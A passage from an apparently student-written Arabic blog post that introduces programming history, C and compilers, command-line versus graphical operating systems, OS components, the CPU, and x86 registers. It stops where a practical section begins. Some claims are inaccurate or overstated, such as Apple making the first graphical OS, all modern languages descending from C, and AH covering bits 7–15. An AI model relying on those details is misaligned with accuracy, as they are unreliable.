باستخدام اجهزة الحاسب لمدة شهر كامل . وبعد رفع الحظر<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="color: green;">عرض بيل
جيتس وصديقه علي تلك الشركه ان يقوموا بتطوير انظمتها وحمايتها وفي مقابل توفير
النظام مجانا لهم . وطبعا دي كانت بداية بيل جيتس وانطلاق مايكروسوفت بعد ذلك .<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="color: red;">- الملحوظه
دي انا كتبتها عشان بس افكركم بحاجه ان لغة الـ </span><span dir="LTR" style="color: red;">BASIC </span><span dir="RTL"></span><span lang="AR-EG" style="color: red;"><span dir="RTL"></span> اللي هي من ايام بيل جيتس وهو صغير لسه كنا
واخدينها السنه اللي قبل اللي فاتت </span><span dir="LTR"></span><span dir="LTR" style="color: red; font-family: Wingdings;"><span dir="LTR"></span>J</span><span dir="LTR" style="color: red;"> <o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<u><span lang="AR-EG" style="color: #993366; font-size: 14pt;">بداية عملاق لغات البرمجه – </span></u><span dir="LTR"></span><u><span dir="LTR" style="color: #993366; font-size: 14pt;"><span dir="LTR"></span> :- C <o:p></o:p></span></u></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<span lang="AR-EG">زي ماذكرت قبل كده ان دينيس ريتشي في عام 1970 قام باختراع لغة الـ </span><span dir="LTR">C </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> وكانت ومازالت اقوي لغات البرمجه . اللغه دي
اتكتبت عشان هدف واحد وهو برمجة انظمة التشغيل ولكن بعدها اصبحت اللغه السائده في
العالم . الميزة في لغة </span><span dir="LTR">C </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> انها لديها مرونه كبيره جدا في التعامل وفي غاية
السهوله كما انها تستخدم في العديد من الاغراض . وبسبب نجاح هذه اللغه تم اشتقاق
العديد من اللغات منها فتم اختراع الـ </span><span dir="LTR">Objective C </span><span dir="RTL"></span><span dir="RTL"></span> <span lang="AR-EG"> فهي خاصه بالبرمجه لانظمة </span><span dir="LTR">APPLE
</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> و </span><span dir="LTR">Embedded C </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> الخاصه ببرمجة الميكروكنترولر و </span><span dir="LTR">C with classes </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> وهي تطوير للغة </span><span dir="LTR">C </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> ومن ثم بعد ذلك تم انشاء لغة </span><span dir="LTR">C++ </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> ومنها كانت لغة الـ </span><span dir="LTR">Java </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> اذا فكل لغات البرمجه الحاليه هي من لغة الـ </span><span dir="LTR">C </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> وبالتالي فتعلم تلك اللغه سيفتح لك العديد من
الابواب للغات البرمجه الاخري . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<u><span lang="AR-EG" style="color: #993366; font-size: 14pt;">ماهو الـ </span></u><u><span dir="LTR" style="color: #993366; font-size: 14pt;">Compiler : <o:p></o:p></span></u></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<span lang="AR-EG">زي ماعرفنا الـ </span><span dir="LTR">Assember
</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> للغة الاسمبلي فيوجد ايضا
مايسمي بالـ </span><span dir="LTR">Compiler </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> وهو مترجم ايضا يقوم بتحويل لغات البرمجه ذات
المستوي العالي الي لغة الاّله لكي يفهمها الحاسب . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-xn7INYzd_tE/T9zfqyv_IkI/AAAAAAAAAOU/j-LXxzbE59w/s1600/c-code.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="232" src="http://3.bp.blogspot.com/-xn7INYzd_tE/T9zfqyv_IkI/AAAAAAAAAOU/j-LXxzbE59w/s320/c-code.gif" width="320" /></a></div>
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG">الصوره بالاعلي توضح كود
مكتوب بلغة الـ </span><span dir="LTR">C </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> ليقوم بطبع جملة </span><span dir="LTR">Hello world </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> ولكن مايهمنا معرفته هو ان اي لغة برمجه يتم
كتابتها فهي في الصوره الاول </span><span dir="LTR">Source
code </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> ولا يفهمها
سوي المبرمج اي ان جهاز الحاسب لايفهم مثل هذه الاكواد . يأتي دور الـ </span><span dir="LTR">compiler </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> في ترجمة تلك الجمل الي لغة يفهمها الحاسب مثل
الصوره الموضحه بالاسفل . <o:p></o:p></span></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: center; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-XcVtYkH69Gc/T9zfeNirvuI/AAAAAAAAANI/D3-mWncUP1A/s1600/COMPILE.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="259" src="http://1.bp.blogspot.com/-XcVtYkH69Gc/T9zfeNirvuI/AAAAAAAAANI/D3-mWncUP1A/s320/COMPILE.gif" width="320" /></a></div>
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG">ففي الصوره يقوم الـ </span><span dir="LTR">compiler </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> بأخذ الـ </span><span dir="LTR">source code </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> الذي كتبناه بالاعلي ليتم تحويله الي </span><span dir="LTR">object file </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> ومن خلال مكتبات نظام التشغيل يتم تحويله الي </span><span dir="LTR">Executable program </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> حيث يفهمه جهاز الحاسب ونظام التشغيل . وطبعا
يوجد انواع كثيره من الـ </span><span dir="LTR">compiler
</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> وتختلف باختلاف انظمة
التشغيل فمثلا في وندوز يوجد مثل ( </span><span dir="LTR"></span><span dir="LTR"><span dir="LTR"></span> (Borland C++ , Turbo C++ , Dev C++ ,
Microsoft Visual C++ </span><span lang="AR-EG">ومثلا
في انظمة اللينكس توجد (</span><span dir="LTR">GCC
compiler </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> وغيرها ) . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="color: red;">ملحوظه الـ </span><span dir="LTR" style="color: red;">Compiler </span><span dir="RTL"></span><span lang="AR-EG" style="color: red;"><span dir="RTL"></span> الخاص بـ </span><span dir="LTR" style="color: red;">C++ </span><span dir="RTL"></span><span lang="AR-EG" style="color: red;"><span dir="RTL"></span> يستطيع بالفعل ترجمة الاكواد المكتوبه بلغة
الـ </span><span dir="LTR" style="color: red;">C .<o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG">صورة اخري توضح عملية
ترجمة اللغات العاليه : <o:p></o:p></span></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: center; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-yLQqkOjgB_I/T9zftM3sOWI/AAAAAAAAAOk/Jm3FgKkg0Sc/s1600/compiler.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="212" src="http://2.bp.blogspot.com/-yLQqkOjgB_I/T9zftM3sOWI/AAAAAAAAAOk/Jm3FgKkg0Sc/s320/compiler.jpg" width="320" /></a></div>
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG">عايزين نرجع بالتاريخ
شويه لانظمة التشغيل ونعرف زمان انظمة التشغيل كان بتشتغل ازاي . ونجرب نكتب برامج
عليها قبل مانبدأ نتعرف علي السهل نحاول نجرب الصعب شويه </span><span dir="LTR"></span><span dir="LTR" style="font-family: Wingdings;"><span dir="LTR"></span>J</span><span dir="LTR"> .<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span dir="LTR"> </span><span lang="AR-EG">اول ماتم اكتشاف انظمة التشغيل كانت </span><span dir="LTR">CLI – Command Line Interface </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> يعني ايه ! . يعني كانت شاشه بيتم من خلالها
ادخال الاوامر زي الصوره اللي تحت دي . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-6_JP5u7pvV0/T9zfsMK9XII/AAAAAAAAAOc/xJUA6N7UZN8/s1600/cli.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="157" src="http://2.bp.blogspot.com/-6_JP5u7pvV0/T9zfsMK9XII/AAAAAAAAAOc/xJUA6N7UZN8/s320/cli.png" width="320" /></a></div>
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG">دي صورة من نظام لينكس
وكان التعامل مع انظمة التشغيل كلها بالاوامر فقط مفيش ولا ماوس ولا شاشة عرض يتم
الاختيار من خلالها . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG">ودي صورة اخري لبدايات
انظمة مايكروسوفت نظام </span><span dir="LTR">Ms-Dos
</span><span dir="RTL"></span><span dir="RTL"></span> <span dir="LTR"></span><span dir="LTR"><span dir="LTR"></span>:<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-NO8uc6IBtHU/T9zgBN5reaI/AAAAAAAAAP8/RqEdM_WFqgc/s1600/ms-dos.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="177" src="http://1.bp.blogspot.com/-NO8uc6IBtHU/T9zgBN5reaI/AAAAAAAAAP8/RqEdM_WFqgc/s320/ms-dos.png" width="320" /></a></div>
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG">برده كلها كتابة اوامر
ولكن مازال نظام الـ </span><span dir="LTR">MS-DOS
</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> موجود في انظمة وندوز
الحديثه حتي الان . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span dir="RTL"></span><u><span style="color: red; font-size: 14pt;"><span dir="RTL"></span> </span></u><u><span dir="LTR" style="color: red; font-size: 14pt;">GUI-Graphical User Interface : <o:p></o:p></span></u></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG">في عام 1948 دوغلاس
انجلبارت بدأ في التفكير جديا في تحويل البرامج المكتوبه الي شاشة عرض يسهل الي اي
شخص قراءته وكانت الكمبيوترات الموجوده وقتها هي الكمبيوترات العملاقه (</span><span dir="LTR">Main Frames </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span>) </span><span dir="LTR"></span><span dir="LTR" lang="AR-EG"><span dir="LTR"></span> </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span>. ومن ثم قامت
شركة </span><span dir="LTR">APPLE </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> والتي كانت وقتها في جراج صغير تحت قيادة ستيف
جوبز وستيف وزنياك بانتاج اول نظام تشغيل بشاشة عرض . <o:p></o:p></span></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: center; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-9miSeEUMpjM/T9zfj_tXZyI/AAAAAAAAANk/fUNluF3bqTk/s1600/GUI.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-9miSeEUMpjM/T9zfj_tXZyI/AAAAAAAAANk/fUNluF3bqTk/s1600/GUI.jpg" /></a></div>
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG">ومن ثم بدأت باقي
الشركات وانظمة التشغيل بعد ذلك في تطبيق ذلك النظام لتسهيل استخدام الحاسب حيث تم
اصدار </span><span dir="LTR">GUI </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> لنظام التشغيل </span><span dir="LTR">MS-DOS </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> عام 1985 كما بالصوره التاليه </span><span dir="LTR"></span><span dir="LTR"><span dir="LTR"></span>;<o:p></o:p></span></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: center; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-dYUnd5LFlmU/T9zgNJ6L0UI/AAAAAAAAAQ8/B_zfEssEkZg/s1600/win31-1-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-dYUnd5LFlmU/T9zgNJ6L0UI/AAAAAAAAAQ8/B_zfEssEkZg/s1600/win31-1-1.png" /></a></div>
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG">وبعدها تطورت كل انظمة
التشغيل الي ان تصل بالشكل الذي نراه الأن .<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<u><span lang="AR-EG" style="color: red; font-size: 14pt;">مما تتكون انظمة التشغيل : <o:p></o:p></span></u></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: center; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-J778I0DzqL8/T9zfm27bBzI/AAAAAAAAAN8/yxqL3vr7kUs/s1600/OS.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-J778I0DzqL8/T9zfm27bBzI/AAAAAAAAAN8/yxqL3vr7kUs/s1600/OS.png" /></a></div>
<span style="color: red;"><span style="font-size: 19px;"><u><br /></u></span></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG">كما في الشكل بالاعلي
فان جهاز الكمبيوتر مقسم من اول الهاردوير وهي قطع الحاسب ومن ثم نظام التشغيل ومن
ثم برامج انظمة التشغيل واخيرا المستخدم ولكن مايهمنا الان هو مما يتكون اي نظام
تشغيل . <o:p></o:p></span></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: center; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-zbM-Fn2PCXA/T9zflx5yZQI/AAAAAAAAANw/QppkYcpTYMg/s1600/Kernel.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-zbM-Fn2PCXA/T9zflx5yZQI/AAAAAAAAANw/QppkYcpTYMg/s1600/Kernel.png" /></a></div>
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG">نظام التشغيل هو حلقة
الوصل بين اجزاء الحاسب (الهاردوير) والمستخدم فانه ليس الا واجهه للمستخدم لتسهيل
عليه عملية استخدام الحاسب وكتابة الاكواد . وكما بالشكل الاعلي فان نظام التشغيل
يتكون من : <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div align="right" class="MsoNormal">
<i><u><span style="color: red; font-size: 14pt;">Kernel : <o:p></o:p></span></u></i></div>
<div align="right" class="MsoNormal">
<span dir="RTL" lang="AR-EG">وهو نواة النظام مثله مثل اي أساس في
المنزل لا يمكن بناء المنزل الا بانشاء الاساس اولا . اذن فان نواة النظام هي التي تحتوي علي كل شئ
خاص بها وهي التي تربط بين البرامج علي نظام التشغيل و اجزاء الحاسب (الهاردوير) .
<o:p></o:p></span></div>
<div align="right" class="MsoNormal">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<i><u><span dir="LTR" style="color: red; font-size: 14pt;">Application : <o:p></o:p></span></u></i></div>
<div align="right" class="MsoNormal">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG">وهي البرامج المقدمه مع
نظام التشغيل لتسهيل العمليه علي المستخدم فمثلا لما بنزل نظام تشغيل جديد مثل
وندوز بيبقي معاه </span><span dir="LTR"></span><span dir="LTR"><span dir="LTR"></span>– Text Editor - </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> مثل النوتباد ومحرر صور مثل برنامج الرسام
وبرنامج لتصفح المواقع مثل انترنت اكسبلورر كل هذه البرامج مهمه للمستخدم ولا يمكن
الاستغناء عنها في اي نظام تشغيل .<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<i><u><span dir="LTR" style="color: red; font-size: 14pt;">Devices : <o:p></o:p></span></u></i></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG">دي طبعا سهله ومعروفه
فدي اجهزة الهاردوير الخاصه باي جهاز كمبيوتر مثل الرامات والهارد والبروسيسور ولا
يمكن استغناء اي نظام تشغيل عن اي منها . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<u><span dir="LTR" style="color: red; font-size: 14pt;">CPU – Central processing Unit : <o:p></o:p></span></u></div>
<div align="right" class="MsoNormal">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG">دي اهم جزئيه عايز اتكلم
عنه وهي الـ </span><span dir="LTR">CPU </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> عشان هي اللي بتحتوي علي كل اللي يهمنا فهي
المسئوله عن العمليات الحسابيه والمنطقيه وتقوم بتنظيم تزامن العمليات الاخري في
الحاسوب والتحكم بها . حيث ظهر بعد ذلك الـ </span><span dir="LTR">Microprocessor </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> والذي يمثل عقل الحاسوب .<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #339966;">الـ </span><span dir="LTR" style="color: #339966;">CPU </span><span dir="RTL"></span><span lang="AR-EG" style="color: #339966;"><span dir="RTL"></span> بيتكون من : <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
-<span style="font-size: 7pt;">
</span><span dir="RTL"><span lang="AR-EG"> </span></span><span dir="LTR">ALU – Arithmetic Logic Unit
: </span><span lang="AR-EG">المسئوله
عن العمليات الحسابيه والمنطقيه داخل الحاسب</span><span dir="LTR"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
-<span style="font-size: 7pt;">
</span><span dir="RTL"><span dir="LTR">Registers</span></span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> :
وهي بمثابة مساحه في الذاكره محجوزه ليتم تخزين مانريده بها . </span><span dir="LTR"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
-<span style="font-size: 7pt;">
</span><span dir="RTL"><span dir="LTR">Control Sections</span></span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> :
وهي وحدة التحكم .</span><span dir="LTR"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
-<span style="font-size: 7pt;">
</span><span dir="RTL"><span dir="LTR">Internal Bus</span></span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span>
: ممرات مسئوله عن الاتصال بين الوحدات
المختلفه . </span><span dir="LTR"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.25in; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.25in; unicode-bidi: embed;">
<span lang="AR-EG"> بعد طرح انتل
لمعالجات 8086 و 8088 حيث وجدوا انهم متشابهين كثيرا من حيث الخصائص لذا سمو بـ </span><span dir="LTR">X-86 Family . </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> ودرسناها في مادة
الميكروبروسيسور السنه دي لو حد فاكر </span><span dir="LTR"></span><span dir="LTR" style="font-family: Wingdings;"><span dir="LTR"></span>J</span><span dir="LTR"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.25in; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<u><span lang="AR-EG" style="color: green;">الـمسجلات - </span></u><u><span dir="LTR" style="color: green;">Registers </span></u><span dir="RTL"></span><u><span lang="AR-EG" style="color: green;"><span dir="RTL"></span> : </span></u><span dir="LTR"></span><u><span dir="LTR" style="color: green;"><span dir="LTR"></span> <o:p></o:p></span></u></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: .25in; text-align: center; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-Vy7v9yY38CQ/T9zfokTHvzI/AAAAAAAAAOE/tkBAFyoc3Ys/s1600/Registers.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://3.bp.blogspot.com/-Vy7v9yY38CQ/T9zfokTHvzI/AAAAAAAAAOE/tkBAFyoc3Ys/s320/Registers.jpg" width="296" /></a></div>
<span lang="AR-EG">انا هتكلم بس عن المسجلات ذات الاغراض العامه وهي كما
موضحه بالصوره</span><span dir="LTR"></span><span dir="LTR" lang="AR-EG"><span dir="LTR"></span> </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> ومعها المسجلات
الاخري : </span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.25in; unicode-bidi: embed;">
<span lang="AR-EG">في انظمة انتل 32 بت فان المسجلات العامه </span><span dir="LTR">EAX </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> حجمها 32 بت حيث سعة المسجل من 0 الي 31 وكما
قلنا من قبل ان المسجلات العامة الاغراض تستخدم في تخزين مانريد . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.25in; unicode-bidi: embed;">
<span lang="AR-EG">في المسجل العام الغرض </span><span dir="LTR">EAX </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> مقسم الي ثلاثة اجزاء </span><span dir="LTR"></span><span dir="LTR" lang="AR-EG"><span dir="LTR"></span> </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span>:<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
-<span style="font-size: 7pt;">
</span><span dir="RTL"><span lang="AR-EG">الاولي من 0 الي 15 وتحتوي علي مسجلين </span></span><span dir="LTR">AL – AH </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> حيث ان </span><span dir="LTR">AL </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> يقع مابين اول 0 الي 7 بت ومن ثم المسجل </span><span dir="LTR">AH </span><span lang="AR-EG">والذي يقع مابين 7 </span><span dir="LTR"></span><span dir="LTR" lang="AR-EG"><span dir="LTR"></span> </span><span lang="AR-EG">الي 15 بت حيث يساعدنا في
تخزين معلومات محدده وبقيم محدده <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
-<span style="font-size: 7pt;">
</span><span dir="RTL"><span lang="AR-EG">الثانيه : اما باقي المسجل يمكن تخزين اي داتا به
. وكما الامر مع </span></span><span dir="LTR">EBX , ECX , EDX </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> . </span><span dir="LTR"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG">صورة اخري
للتوضيح : <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-ZzTUTiQrwYY/T9zfiAaqAxI/AAAAAAAAANc/8Y19EG-kIkI/s1600/EAX.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-ZzTUTiQrwYY/T9zfiAaqAxI/AAAAAAAAANc/8Y19EG-kIkI/s1600/EAX.jpg" /></a></div>
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: center; unicode-bidi: embed;">
<u><span lang="AR-EG" style="color: grey; font-size: 22pt;">الجزء العملي<o:p></o:p></span></u></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: grey;">اسف جدا لان
الكلام النظري كان كتير ولكن كان لابد منه عشان نفهم اساسيات انظمة التشغيل وازاي
